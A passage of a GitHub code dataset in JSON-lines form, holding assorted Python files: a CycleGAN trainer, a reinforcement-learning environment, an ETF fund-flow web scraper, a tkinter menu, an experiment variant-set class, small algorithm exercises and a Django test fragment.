logging.info(f\"Returning a single user. -- {__name__}.get_user_by_id\")\n return custom_response(\n status_code=status.HTTP_200_OK, details=\"User found\", data=user\n )\n else:\n logging.error(f\"User not found -- {__name__}.get_user_by_id\")\n raise custom_exception(\n status_code=status.HTTP_404_NOT_FOUND, details=\"User not found.\"\n )\n","repo_name":"ahsan-kamal-sdq/LibraryManagementSystem","sub_path":"src/endpoints/user/get/get_users.py","file_name":"get_users.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9701749348","text":"from queue import Queue\ndef Bfs(m, n):\n visited = [False for i in range(n + 1)]\n path = [-1 for i in range(n+1)]\n graph = [[] for i in range(n+1)]\n for i in range(m):\n node1, node2 = map(int,input().split())\n graph[node1].append(node2)\n graph[node2].append(node1)\n s = int(input())\n visited[s] = True\n queueQ = Queue()\n queueQ.put(s)\n while not queueQ.empty():\n u = queueQ.get()\n for i in graph[u]:\n if visited[i] == False:\n visited[i] = True\n queueQ.put(i)\n path[i] = u\n return s, path\n\nif __name__ == \"__main__\": \n q = int(input())\n output = []\n for i in range(q):\n n, m = map(int,input().split())\n out = [-1 for i in range(n+1)]\n s, path = Bfs(m, n)\n out[s] = 0\n for i in range(1,n+1):\n if path[i] != -1:\n k = i\n cnt = 1\n while path[k] != s:\n cnt += 1\n k = path[k]\n out[i] = cnt*6\n output.append(out)\n for i in range(q):\n for j in range(1,len(output[i])):\n if j == len(output[i]) -1 and output[i][j] != 0:\n print(output[i][j])\n elif output[i][j] != 0:\n print(output[i][j],end=\" \") \n\n\n","repo_name":"vanlongvl99/buoi5","sub_path":"shortest.py","file_name":"shortest.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"23208379222","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n\r\n@author: Matthew Mann\r\n\r\nDomainA / DomainB = Images[] - Pairs\r\nDomainAs / DomainBs = Amages[] - Non-Pairs\r\n\r\n\"\"\"\r\n\r\n\r\n\r\nimport numpy as np\r\nfrom PIL import Image\r\nfrom math import floor\r\nimport time\r\n\r\n#Noise Level\r\nnlev = 16\r\n\r\ndef zeros(n):\r\n return np.random.uniform(0.0, 0.01, size = [n, 1])\r\n\r\ndef ones(n):\r\n return np.random.uniform(0.99, 1.0, size = [n, 1])\r\n\r\ndef get_rand(array, amount):\r\n \r\n idx = np.random.randint(0, array.shape[0], amount)\r\n return array[idx]\r\n\r\ndef adjust_hue(image, amount):\r\n t0 = Image.fromarray(np.uint8(image*255))\r\n t1 = t0.convert('HSV')\r\n t2 = np.array(t1, dtype='float32')\r\n t2 = t2 / 255\r\n t2[...,0] = (t2[...,0] + amount) % 1\r\n t3 = Image.fromarray(np.uint8(t2*255), mode = \"HSV\")\r\n t4 = np.array(t3.convert('RGB'), dtype='float32') / 255\r\n \r\n return t4\r\n\r\n#Import Images Function\r\ndef import_images(loc, n):\r\n \r\n out = []\r\n \r\n for n in range(1, n + 1):\r\n temp = Image.open(\"data/\"+loc+\"/im (\"+str(n)+\").png\")\r\n \r\n temp = np.array(temp.convert('RGB'), dtype='float32')\r\n \r\n out.append(temp / 255)\r\n \r\n out.append(np.flip(out[-1], 1))\r\n \r\n return np.array(out)\r\n\r\n#Keras Imports\r\nfrom keras.models import model_from_json, Model, Sequential\r\nfrom keras.layers import Conv2D, LeakyReLU, AveragePooling2D, BatchNormalization, Dense\r\nfrom keras.layers import UpSampling2D, Activation, Dropout, concatenate, Input, Flatten\r\nfrom keras.optimizers import Adam\r\n#import keras.backend as K\r\n\r\n\r\n#Defining Layers For U-Net\r\ndef conv(input_tensor, filters, bn = True, drop = 0):\r\n \r\n co = Conv2D(filters = filters, kernel_size = 3, padding = 'same', kernel_initializer = 'he_uniform')(input_tensor)\r\n ac = LeakyReLU(0.2)(co)\r\n ap = AveragePooling2D()(ac)\r\n \r\n if bn:\r\n ap = BatchNormalization(momentum = 0.75)(ap)\r\n \r\n if drop > 0:\r\n ap = Dropout(drop)(ap)\r\n \r\n return ap\r\n\r\ndef deconv(input1, input2, filters, drop = 0):\r\n #Input 1 Should be half the size of Input 2\r\n up = UpSampling2D()(input1)\r\n co = Conv2D(filters = filters, kernel_size = 3, padding = 'same', kernel_initializer = 'he_uniform')(up)\r\n ac = Activation('relu')(co)\r\n \r\n if drop > 0:\r\n ac = Dropout(drop)(ac)\r\n \r\n ba = BatchNormalization(momentum = 0.75)(ac)\r\n con = concatenate([ba, input2])\r\n \r\n return con\r\n\r\ndef d_block(f, b = True, p = True):\r\n temp = Sequential()\r\n temp.add(Conv2D(filters = f, kernel_size = 3, padding = 'same', kernel_initializer = 'he_uniform'))\r\n if b:\r\n temp.add(BatchNormalization(momentum = 0.8))\r\n temp.add(Activation('relu'))\r\n if p:\r\n temp.add(AveragePooling2D())\r\n \r\n return temp\r\n\r\n\r\n\r\n#Define The Actual Model Class\r\nclass GAN(object):\r\n \r\n def __init__(self):\r\n \r\n #Always 256x256 Images\r\n \r\n #Models\r\n \r\n #Generator (Domain A -> Domain B)\r\n self.G1 = None\r\n self.G2 = None\r\n \r\n #Discriminator (Domain B)\r\n self.D = None\r\n \r\n #Old Models For Rollback After Training Others\r\n self.OD = None\r\n self.OG = None\r\n self.OG2 = None\r\n self.OE = None\r\n \r\n #Training Models\r\n self.DM = None #Discriminator Model (D)\r\n self.AM = None #Adversarial Model (G1 + D)\r\n self.RM = None #Reconstruction Model (G1 + G2)\r\n \r\n \r\n #Other Config\r\n self.LR = 0.0002 #Learning Rate\r\n self.steps = 1 #Training Steps Taken\r\n \r\n def generator1(self):\r\n \r\n #Defining G1 // U-Net\r\n if self.G1:\r\n return self.G1\r\n \r\n #Image Input\r\n inp = Input(shape = [256, 256, 3])\r\n #128\r\n d1 = conv(inp, 8)\r\n #64\r\n d2 = conv(d1, 16)\r\n #32\r\n d3 = conv(d2, 32)\r\n #16\r\n d4 = conv(d3, 64)\r\n #8\r\n d5 = conv(d4, 128)\r\n d6 = conv(d5, 192)\r\n #4\r\n \r\n center = Conv2D(filters = 256, kernel_size = 3, padding = 'same', kernel_initializer = 'he_uniform')(d6)\r\n ac = LeakyReLU(0.2)(center)\r\n \r\n #4\r\n u6 = deconv(ac, d5, 192)\r\n u5 = deconv(u6, d4, 128)\r\n u4 = deconv(u5, d3, 64)\r\n u3 = deconv(u4, d2, 32)\r\n u2 = deconv(u3, d1, 16)\r\n #64\r\n \r\n u1 = UpSampling2D()(u2)\r\n cc = concatenate([inp, u1])\r\n cl = Conv2D(filters = 8, kernel_size = 3, padding = 'same', activation = 'relu', kernel_initializer = 'he_uniform')(cc)\r\n #128\r\n out = Conv2D(filters = 3, kernel_size = 1, padding = 'same', activation = 'sigmoid')(cl)\r\n \r\n self.G1 = Model(inputs = inp, outputs = out)\r\n \r\n return self.G1\r\n \r\n def generator2(self):\r\n \r\n #Defining G2 // U-Net\r\n if self.G2:\r\n return self.G2\r\n \r\n #Image Input\r\n inp = Input(shape = [256, 256, 3])\r\n #128\r\n d1 = conv(inp, 8)\r\n #64\r\n d2 = conv(d1, 16)\r\n #32\r\n d3 = conv(d2, 32)\r\n #16\r\n d4 = conv(d3, 64)\r\n #8\r\n d5 = conv(d4, 128)\r\n d6 = conv(d5, 192)\r\n #4\r\n \r\n center = Conv2D(filters = 256, kernel_size = 3, padding = 'same', kernel_initializer = 'he_uniform')(d6)\r\n ac = LeakyReLU(0.2)(center)\r\n \r\n #4\r\n u6 = deconv(ac, d5, 192)\r\n u5 = deconv(u6, d4, 128)\r\n u4 = deconv(u5, d3, 64)\r\n u3 = deconv(u4, d2, 32)\r\n u2 = deconv(u3, d1, 16)\r\n #64\r\n \r\n u1 = UpSampling2D()(u2)\r\n cc = concatenate([inp, u1])\r\n cl = Conv2D(filters = 8, kernel_size = 3, padding = 'same', activation = 'relu', kernel_initializer = 'he_uniform')(cc)\r\n #128\r\n out = Conv2D(filters = 3, kernel_size = 1, padding = 'same', activation = 'sigmoid')(cl)\r\n \r\n self.G2 = Model(inputs = inp, outputs = out)\r\n \r\n return self.G2\r\n \r\n def discriminator(self):\r\n \r\n if self.D:\r\n return self.D\r\n \r\n self.D = Sequential()\r\n \r\n self.D.add(Activation('linear', input_shape = [256, 256, 3]))\r\n \r\n #256\r\n self.D.add(d_block(8)) #128\r\n self.D.add(d_block(16)) #64\r\n self.D.add(d_block(32)) #32\r\n self.D.add(d_block(64)) #16\r\n self.D.add(d_block(96)) #32\r\n self.D.add(d_block(128)) #8\r\n self.D.add(d_block(192)) #4\r\n self.D.add(d_block(256, p = False)) #4\r\n self.D.add(Flatten())\r\n \r\n #8192\r\n \r\n self.D.add(Dropout(0.6))\r\n self.D.add(Dense(1, activation = 'linear'))\r\n \r\n return self.D\r\n \r\n def DisModel(self):\r\n \r\n #Defining DM\r\n if self.DM == None:\r\n self.DM = Sequential()\r\n self.DM.add(self.discriminator())\r\n \r\n # Incrementally Dropping LR\r\n # self.LR * (0.9 ** floor(self.steps / 10000))\r\n self.DM.compile(optimizer = Adam(lr = self.LR * (0.9 ** floor(self.steps / 10000))),\r\n loss = 'mse')\r\n \r\n return self.DM\r\n \r\n def AdModel(self):\r\n \r\n #Defining AM\r\n if self.AM == None:\r\n self.AM = Sequential()\r\n self.AM.add(self.generator1())\r\n self.AM.add(self.discriminator())\r\n \r\n # Incrementally Dropping LR\r\n # self.LR * (0.9 ** floor(self.steps / 10000))\r\n self.AM.compile(optimizer = Adam(lr = self.LR * (0.9 ** floor(self.steps / 10000))),\r\n loss = 'mse')\r\n \r\n return self.AM\r\n \r\n def RecModel(self):\r\n \r\n if self.RM == None:\r\n self.RM = Sequential()\r\n self.RM.add(self.generator1())\r\n self.RM.add(self.generator2())\r\n \r\n self.RM.compile(optimizer = Adam(lr = self.LR * 0.5 * (0.9 ** floor(self.steps / 10000))), loss = 'mae')\r\n \r\n return self.RM\r\n \r\n def sod(self):\r\n \r\n #Save Old Discriminator\r\n self.OD = self.D.get_weights()\r\n \r\n def lod(self):\r\n \r\n #Load Old Discriminator\r\n self.D.set_weights(self.OD)\r\n \r\n\r\n#Now Define The Actual Model\r\nclass CycleGAN(object):\r\n \r\n def __init__(self, steps = -1, silent = True):\r\n \r\n #Models\r\n #Main\r\n self.GAN = GAN()\r\n \r\n #Set Steps, If Relevant\r\n if steps >= 0:\r\n self.GAN.steps = steps\r\n \r\n #Generators\r\n self.G1 = self.GAN.generator1()\r\n \r\n \r\n #Training Models\r\n self.DisModel = self.GAN.DisModel()\r\n self.AdModel = self.GAN.AdModel()\r\n self.RecModel = self.GAN.RecModel()\r\n self.lastblip = time.clock()\r\n \r\n #Std Deviation\r\n self.std_dev = 1 + 4.0 / ((self.GAN.steps + 20000.0) / 10000.0)\r\n \r\n #Images\r\n self.ImagesA = import_images(\"DomainA\", 962)\r\n self.ImagesB = import_images(\"DomainB\", 403)\r\n \r\n self.silent = silent\r\n \r\n def train(self, batch = 2):\r\n \r\n #Train and Get Losses\r\n al = self.train_dis(batch)\r\n bl = self.train_gen(batch)\r\n cl = self.train_rec(batch)\r\n \r\n #Every 20 Steps Display Info\r\n if self.GAN.steps % 20 == 0 and not self.silent:\r\n ti = round((time.clock() - self.lastblip) * 100.0) / 100.0\r\n print(\"\\n\\nRound \" + str(self.GAN.steps) + \":\")\r\n print(\"Dis: \" + str(round(al, 5)))\r\n print(\"Gen: \" + str(round(bl, 5)))\r\n print(\"Rec: \" + str(round(cl, 5)))\r\n print(\"T::: \" + str(ti) + \" seconds\")\r\n self.lastblip = time.clock()\r\n \r\n #Save Every 500 steps\r\n if self.GAN.steps % 500 == 0:\r\n self.save(floor(self.GAN.steps / 10000))\r\n #self.adjust()\r\n #self.evaluate()\r\n \r\n #Re-Compile (Update Learning Rate) Every 10k Steps\r\n if self.GAN.steps % 10000 == 0:\r\n self.GAN.AM = None\r\n self.GAN.DM = None\r\n self.GAN.RM = None\r\n self.AdModel = self.GAN.AdModel()\r\n self.DisModel = self.GAN.DisModel()\r\n self.RecModel = self.GAN.RecModel()\r\n \r\n self.GAN.steps = self.GAN.steps + 1\r\n \r\n return True\r\n \r\n def train_dis(self, batch):\r\n \r\n #Get Real Images\r\n train_data = get_rand(self.ImagesB, batch)\r\n label_data = ones(batch)\r\n \r\n d_loss_real = self.DisModel.train_on_batch(train_data, label_data)\r\n \r\n #Get Fake Images\r\n train_data = self.G1.predict(get_rand(self.ImagesA, batch))\r\n label_data = zeros(batch)\r\n \r\n d_loss_fake = self.DisModel.train_on_batch(train_data, label_data)\r\n \r\n return (d_loss_real + d_loss_fake) * 0.5\r\n \r\n def train_gen(self, batch):\r\n \r\n self.GAN.sod()\r\n \r\n train_data = get_rand(self.ImagesA, batch)\r\n label_data = ones(batch)\r\n \r\n g_loss = self.AdModel.train_on_batch(train_data, label_data)\r\n \r\n self.GAN.lod()\r\n \r\n return g_loss\r\n \r\n def train_rec(self, batch):\r\n \r\n train_data = get_rand(self.ImagesA, batch)\r\n \r\n g_loss = self.RecModel.train_on_batch(train_data, train_data)\r\n \r\n return g_loss\r\n \r\n def evaluate(self, num):\r\n \r\n row = []\r\n \r\n #From left to right: Labels, GT, 6xGenerated Images\r\n \r\n #With Matching Ground Truth Image\r\n for _ in range(8):\r\n im = get_rand(self.ImagesA, 4)\r\n out = self.G1.predict(im)\r\n s = np.concatenate([im[0], out[0], im[1], out[1], im[2], out[2], im[3], out[3]], axis = 1)\r\n row.append(s)\r\n \r\n image = np.concatenate(row[0:8], axis = 0)\r\n \r\n x = Image.fromarray(np.uint8(image*255))\r\n \r\n x.save(\"Results/i\"+str(num)+\".png\")\r\n \r\n del row, image, x\r\n \r\n \r\n def saveModel(self, model, name, num):\r\n json = model.to_json()\r\n with open(\"Models/\"+name+\".json\", \"w\") as json_file:\r\n json_file.write(json)\r\n \r\n model.save_weights(\"Models/\"+name+\"_\"+str(num)+\".h5\")\r\n \r\n def loadModel(self, name, num):\r\n \r\n file = open(\"Models/\"+name+\".json\", 'r')\r\n json = file.read()\r\n file.close()\r\n \r\n mod = model_from_json(json)\r\n mod.load_weights(\"Models/\"+name+\"_\"+str(num)+\".h5\")\r\n \r\n return mod\r\n \r\n def save(self, num): #Save JSON and Weights into /Models/\r\n self.saveModel(self.GAN.G1, \"gen1\", num)\r\n self.saveModel(self.GAN.D, \"dis\", num)\r\n self.saveModel(self.GAN.G2, \"gen2\", num)\r\n \r\n\r\n def load(self, num): #Load JSON and Weights from /Models/\r\n steps1 = self.GAN.steps\r\n \r\n self.GAN = None\r\n self.GAN = GAN()\r\n \r\n self.GAN.steps = steps1\r\n\r\n #Load Models\r\n self.GAN.G1 = self.loadModel(\"gen1\", num)\r\n self.GAN.D = self.loadModel(\"dis\", num)\r\n self.GAN.G2 = self.loadModel(\"gen2\", num)\r\n \r\n self.AdModel = self.GAN.AdModel()\r\n self.DisModel = self.GAN.DisModel()\r\n self.RecModel = self.GAN.RecModel()\r\n self.G1 = self.GAN.generator1()\r\n \r\n def sample(self, inp):\r\n \r\n return self.G1.predict(inp)\r\n\r\n#Finally Onto The Main Function\r\nif __name__ == \"__main__\":\r\n model = CycleGAN(139999, silent = False)\r\n model.load(12)\r\n \r\n while(True):\r\n model.train(2)\r\n \r\n if model.GAN.steps % 12000 == 0:\r\n time.sleep(15)\r\n \r\n #Evaluate Every 1k Steps\r\n if model.GAN.steps % 1000 == 0:\r\n model.evaluate(floor(model.GAN.steps / 1000))\r\n","repo_name":"manicman1999/CycleGAN256-BR","sub_path":"cyclegan.py","file_name":"cyclegan.py","file_ext":"py","file_size_in_byte":14007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"21540990707","text":"\"\"\"Variant of the AntEnv with different target directions.\"\"\"\nimport numpy as np\n\nfrom garage.envs.mujoco.ant_env_meta_base import AntEnvMetaBase # noqa: E501\n\n\nclass AntDirEnv(AntEnvMetaBase):\n\n def __init__(self, task=None):\n super().__init__(task or {'direction': 1.})\n\n def step(self, action):\n \"\"\"Take one step in the environment.\n\n Equivalent to step in HalfCheetahEnv, but with different rewards.\n\n Args:\n action (np.ndarray): The action to take in the environment.\n\n Returns:\n tuple:\n * observation (np.ndarray): The observation of the environment.\n * reward (float): The reward acquired at this time step.\n * done (boolean): Whether the environment was completed at this\n time step. Always False for this environment.\n * infos (dict):\n * reward_forward (float): Reward for moving, ignoring the\n control cost.\n * reward_ctrl (float): The reward for acting i.e. the\n control cost (always negative).\n * task_dir (float): Target direction. 1.0 for forwards,\n -1.0 for backwards.\n\n \"\"\"\n xposbefore = self.sim.data.qpos[0]\n self.do_simulation(action, self.frame_skip)\n xposafter = self.sim.data.qpos[0]\n\n forward_vel = (xposafter - xposbefore) / self.dt\n forward_reward = self._task['direction'] * forward_vel\n ctrl_cost = 0.5 * 1e-1 * np.sum(np.square(action))\n\n observation = self._get_obs()\n reward = forward_reward - ctrl_cost\n done = False\n infos = dict(reward_forward=forward_reward,\n reward_ctrl=-ctrl_cost,\n task_dir=self._task['direction'])\n return observation, reward, done, infos\n\n def sample_tasks(self, num_tasks):\n \"\"\"Sample a list of `num_tasks` tasks.\n\n Args:\n num_tasks (int): Number of tasks to sample.\n\n Returns:\n list[dict[str, float]]: A list of \"tasks,\" where each task is a\n dictionary containing a single key, \"direction\", mapping to -1\n or 1.\n\n \"\"\"\n directions = (\n 2 * self.np_random.binomial(1, p=0.5, size=(num_tasks, )) - 1)\n tasks = [{'direction': direction} for direction in directions]\n return tasks\n\n def set_task(self, task):\n \"\"\"Reset with a task.\n\n Args:\n task (dict[str, float]): A task (a dictionary containing a single\n key, \"direction\", mapping to -1 or 1).\n\n \"\"\"\n self._task = task\n\n def get_task(self):\n return self._task\n","repo_name":"theresearchai/unsupervised_meta_rl","sub_path":"src/garage/envs/mujoco/ant_dir_env.py","file_name":"ant_dir_env.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"2325400653","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nfrom datetime import datetime\r\nimport pandas as pd\r\nimport sqlalchemy\r\nfrom sqlalchemy import text\r\n\r\ntables = {}\r\n\r\ndb_info = {'driver': 'ODBC Driver 17 for SQL Server',\r\n 'server':'RyanPC' , \r\n 'database':'Ticker' ,\r\n 'username': 'hl',\r\n 'password': '123'} \r\n\r\n# Establish a connection to the SQL Server database\r\nconn = sqlalchemy.create_engine('mssql+pyodbc://'+db_info['username']+':'+db_info['password']+\\\r\n '@' + db_info['server'] + \\\r\n '/' + db_info['database'] + \\\r\n '?driver=ODBC+Driver+17+for+SQL+Server')\r\n\r\npublish_date = None\r\n\r\n# Function to check if a table exists in the database\r\ndef table_exists(conn, table_name):\r\n query = f\"SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = '{table_name}'\"\r\n result = conn.execute(query)\r\n return result.fetchone()[0] > 0\r\n\r\n\r\ndef get_latest_date(cursor, table_name):\r\n # Query the latest date for the given symbol\r\n query = f\"SELECT MAX([Date]) FROM {table_name}\"\r\n latest_date = cursor.execute(query)\r\n return latest_date.fetchone()[0]\r\n\r\n\r\ndef download_etfdb_fundflow(url):\r\n \"\"\"Download fund flow data. Raw data are strings. \"\"\"\r\n global publish_date\r\n # Scrape the table from the URL\r\n response = requests.get(url)\r\n soup = BeautifulSoup(response.text, 'html.parser')\r\n table = soup.find('table')\r\n\r\n # Extract the table headers\r\n headers = [th.text for th in table.find_all('th')]\r\n headers = [h.split(\"\\n\\n\")[1] for h in headers]\r\n for i in range(len(headers)):\r\n if headers[i]==\"+/-\":\r\n headers[i] = \" \".join(headers[i-1:i+1])\r\n\r\n # Extract last updated date\r\n last_updated=\"\"\r\n for p in soup.find_all(\"p\"):\r\n if \"Last updated\" in p.text:\r\n last_updated = p.text\r\n publish_date = last_updated.split('Last updated on ')[1].strip(\"\\n\")\r\n publish_date = datetime.strptime(publish_date, '%b %d, %Y').date()\r\n # Extract the table rows\r\n rows = []\r\n for tr in table.find_all('tr'):\r\n data = [td.text.strip() for td in tr.find_all('td')]\r\n if len(data) == len(headers):\r\n rows.append(data)\r\n df = pd.DataFrame(data=rows, columns=headers)\r\n df['Date'] = publish_date\r\n return df\r\n\r\n\r\ndef to_sql_table(table_name, df):\r\n \"\"\"Insert df to SQL table. If table exists, append.\"\"\"\r\n # Check if the table exists in the database\r\n if not table_exists(conn, table_name):\r\n df.to_sql(table_name, conn, if_exists='replace')\r\n print(\"Database doesn't exists. Create and write data\")\r\n elif publish_date > get_latest_date(conn, table_name):\r\n df.to_sql(table_name, conn, if_exists='append')\r\n print(\"Append data\")\r\n else:\r\n print(\"Already up to date. \")\r\n\r\n\r\ndef convert_to_num(df):\r\n \"\"\"Convert downloaded etf table from string to number.\r\n Specifically, convert \r\n - '$xx,xxx.xx' to float. \r\n - 'xx%' to float. \r\n - 'xx.xx' to float.\r\n If a cell is not convertable, replace it with NaN. \r\n Date and Names columns are skipped. \"\"\"\r\n str_cols = ['Industry', 'Date', 'power_ranking_sort_text']\r\n remove_dollar = lambda x: pd.to_numeric(x.replace('$', '').replace(',', ''), errors='ignore')\r\n remove_pct = lambda x: pd.to_numeric(x.replace('%',''), errors='ignore')\r\n for col in df.columns:\r\n if col not in str_cols:\r\n \r\n if isinstance(df[col][0], str):\r\n if '$' in df[col][0]:\r\n df[col] = df[col].apply(remove_dollar)\r\n elif '%' in df[col][0]:\r\n df[col] = df[col].apply(remove_pct)\r\n else:\r\n df[col] = df[col].apply(pd.to_numeric, errors='coerce')\r\n return df\r\n\r\n\r\nif __name__ == \"__main__\":\r\n url = \"https://etfdb.com/etfs/industry/\"\r\n raw_df = download_etfdb_fundflow(url)\r\n to_sql_table('etf_fund_flow', raw_df)\r\n df = convert_to_num(raw_df)\r\n to_sql_table(\"etf_fund_flow_num\", df)","repo_name":"fzhang00/etfdb_webscrapping","sub_path":"data_writer.py","file_name":"data_writer.py","file_ext":"py","file_size_in_byte":4103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31932678599","text":"language = 'Python'\nlst = list(language)\nlstcom = [i for i in language]\nprint(lst)\nprint(lstcom)\n\nnumbers = [-8, -7, -3, 0, 1, 3, 4, 5, 7, 6, 8, 10]\npositiveNums = [i for i in numbers if i >= 0]\nprint(positiveNums)\n\n#-----------------------------------------------------------------------#\n\nnumbers = [-4, -3, -2, -1, 0, 2, 4, 6]\nnegzero = [i for i in numbers if i < 1]\nprint(negzero)\n\nlist_of_lists = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\nflattened_list = [ number for row in list_of_lists for number in row]\nprint(flattened_list)\n\nlst_of_tpl = [tuple([j ** i for i in range(6)]) for j in range(11)]\nprint(lst_of_tpl)\n\n#-----------------------------------------------------------------------#","repo_name":"afriska/praxis-academy","sub_path":"backend/minggu-02/hari-1/listComprehension.py","file_name":"listComprehension.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29389652124","text":"def findMedianSortedArrays(self, nums1, nums2):\n num = sorted(nums1 + nums2)\n l = len(num)\n\n if l % 2 != 0:\n a = (l - 1) // 2\n median = num[a]\n else:\n a1 = l // 2\n a2 = (l // 2) - 1\n median = (num[a1] + num[a2]) / 2\n\n return median\n\nl1 = [1, 2]\nl2 = [3, 4]\nl3 = [3]\nans = findMedianSortedArrays(l1, l2)\nprint(ans)","repo_name":"Aman-1134/Python_codes","sub_path":"LeetCode Examples/median_of_two_list.py","file_name":"median_of_two_list.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20019897928","text":"import tkinter as tk\nfrom .home_page import HomePageFrame\nfrom .question_page import QuestionPageFrame\nfrom .data_training import TrainingFrame\n\n\nclass NavBar(tk.Menu):\n def __init__(self, parent):\n super().__init__(parent)\n\n menu_styles = {\"tearoff\": 0, \"bd\": 5,\n \"activebackground\": \"#d9d9d9\",\n \"background\": \"#FFFFFF\",\n \"activeforeground\": \"#000000\"}\n\n\n menu_file = tk.Menu(self, menu_styles)\n self.add_cascade(label=\"Home\", menu=menu_file)\n menu_file.add_command(label=\"Data list\",\n command=lambda:\n parent.show_frame(HomePageFrame))\n menu_file.add_command(label=\"Question list\",\n command=lambda:\n parent.show_frame(QuestionPageFrame))\n menu_file.add_separator()\n menu_file.add_command(label=\"Exit\",\n command=lambda:\n parent.Quit_application())\n\n\n menu_pricing = tk.Menu(self, menu_styles)\n self.add_cascade(label=\"Data training\", menu=menu_pricing)\n menu_pricing.add_command(label=\"Data training\",\n command=lambda:\n parent.show_frame(TrainingFrame))\n\n # Help\n menu_help = tk.Menu(self, menu_styles)\n self.add_cascade(label=\"Help\", menu=menu_help)\n menu_help.add_command(label=\"About...\",\n command=lambda:\n parent.AboutMe())\n","repo_name":"datnguyen0126/admin-app","sub_path":"Views/navigation.py","file_name":"navigation.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28617460649","text":"from typing import Any\nfrom typing import Dict\nfrom typing import List\nfrom typing import Optional\n\nfrom reddit_experiments.variant_sets.base import VariantSet\n\n\nclass SingleVariantSet(VariantSet):\n \"\"\"Variant Set designed to handle two total treatments.\n\n This VariantSet allows adjusting the sizes of variants without\n changing treatments, where possible. When not possible (eg:\n switching from a 60/40 distribution to a 40/60 distribution),\n this will minimize changing treatments (in the above case, only\n those buckets between the 40th and 60th percentile of the bucketing\n range will see a change in treatment).\n\n :param variants: array of dicts, each containing the keys 'name'\n and 'size'. Name is the variant name, and size is the fraction of\n users to bucket into the corresponding variant. Sizes are expressed\n as a floating point value between 0 and 1.\n :param num_buckets: the number of potential buckets that can be\n passed in for a variant call. Defaults to 1000, which means maximum\n granularity of 0.1% for bucketing\n\n \"\"\"\n\n # pylint: disable=super-init-not-called\n def __init__(self, variants: List[Dict[str, Any]], num_buckets: int = 1000):\n self.variants = variants\n self.num_buckets = num_buckets\n\n self._validate_variants()\n\n def __contains__(self, item: str) -> bool:\n if self.variants[0].get(\"name\") == item or self.variants[1].get(\"name\") == item:\n return True\n\n return False\n\n def _validate_variants(self) -> None:\n if self.variants is None:\n raise ValueError(\"No variants provided\")\n\n if len(self.variants) != 2:\n raise ValueError(\"Single Variant experiments expect only one variant and one control.\")\n\n if self.variants[0].get(\"size\") is None or self.variants[1].get(\"size\") is None:\n raise ValueError(f\"Variant size not provided: {self.variants}\")\n\n total_size = self.variants[0][\"size\"] + self.variants[1][\"size\"]\n\n if total_size < 0.0 or total_size > 1.0:\n raise ValueError(\"Sum of all variants must be between 0 and 1.\")\n\n def choose_variant(self, bucket: int) -> Optional[str]:\n \"\"\"Deterministically choose a variant.\n\n Every call with the same bucket on one instance will result in the same\n answer\n\n :param bucket: an integer bucket representation\n :return: the variant name, or None if bucket doesn't fall into any of the variants\n \"\"\"\n if bucket < int(self.variants[0][\"size\"] * self.num_buckets):\n return self.variants[0][\"name\"]\n\n if bucket >= self.num_buckets - int(self.variants[1][\"size\"] * self.num_buckets):\n return self.variants[1][\"name\"]\n\n return None\n","repo_name":"reddit/experiments.py","sub_path":"reddit_experiments/variant_sets/single_variant_set.py","file_name":"single_variant_set.py","file_ext":"py","file_size_in_byte":2789,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"29"} +{"seq_id":"18555141902","text":"from datetime import date, datetime\n\nfrom django.test import TestCase\nfrom django.test.utils import override_settings\n\nfrom djcelery.models import PeriodicTask, IntervalSchedule\n\nfrom StringIO import StringIO\n\nfrom subscription.management.commands import set_seq\nfrom subscription.management.commands.set_seq import (\n SUBSCRIPTION_STANDARD, SUBSCRIPTION_LATER)\nfrom subscription.models import Subscription, MessageSet, Message\n\n\nclass FakeClient(object):\n\n def __init__(self, stubs):\n self.stubs = stubs\n\n def get_contact(self, contact_id):\n for s in self.stubs:\n if s['key'] == contact_id:\n return s\n\n\nclass TestSetSeqCommand(TestCase):\n\n fixtures = [\"test_initialdata.json\"]\n\n def setUp(self):\n self.command = self.mk_command()\n\n def mk_command(self, contacts=None):\n fake_client = FakeClient(contacts or [])\n command = set_seq.Command()\n command.stdout = StringIO()\n command.client_class = lambda *a: fake_client\n # set the date so tests continue to work in the future\n command.get_now = lambda *a: datetime(2014, 11, 5)\n return command\n\n def mk_message_set(self, set_size=10, short_name='standard',\n language='eng'):\n msg_set, created = MessageSet.objects.get_or_create(\n short_name=short_name)\n if created:\n for i in range(set_size):\n Message.objects.create(\n message_set=msg_set,\n sequence_number=i,\n lang=language,\n content='message %s' % (i,)\n )\n return msg_set\n\n def mk_default_schedule(self):\n interval, _ = IntervalSchedule.objects.get_or_create(\n every=2, period='days')\n scheduled, _ = PeriodicTask.objects.get_or_create(\n name='default', interval=interval)\n return scheduled\n\n def mk_subscription(self, user_account, contact_key, to_addr,\n message_set, lang='eng', schedule=None):\n schedule = schedule or self.mk_default_schedule()\n return Subscription.objects.create(\n user_account=user_account,\n contact_key=contact_key,\n to_addr=to_addr,\n message_set=message_set,\n lang=lang,\n schedule=schedule)\n\n def test_calc_sequence_start(self):\n self.assertEqual(self.command.calc_sequence_start(3, 1), 1)\n self.assertEqual(self.command.calc_sequence_start(5, 1), 1)\n self.assertEqual(self.command.calc_sequence_start(31, 1), 53)\n self.assertEqual(self.command.calc_sequence_start(31, 2), 1)\n 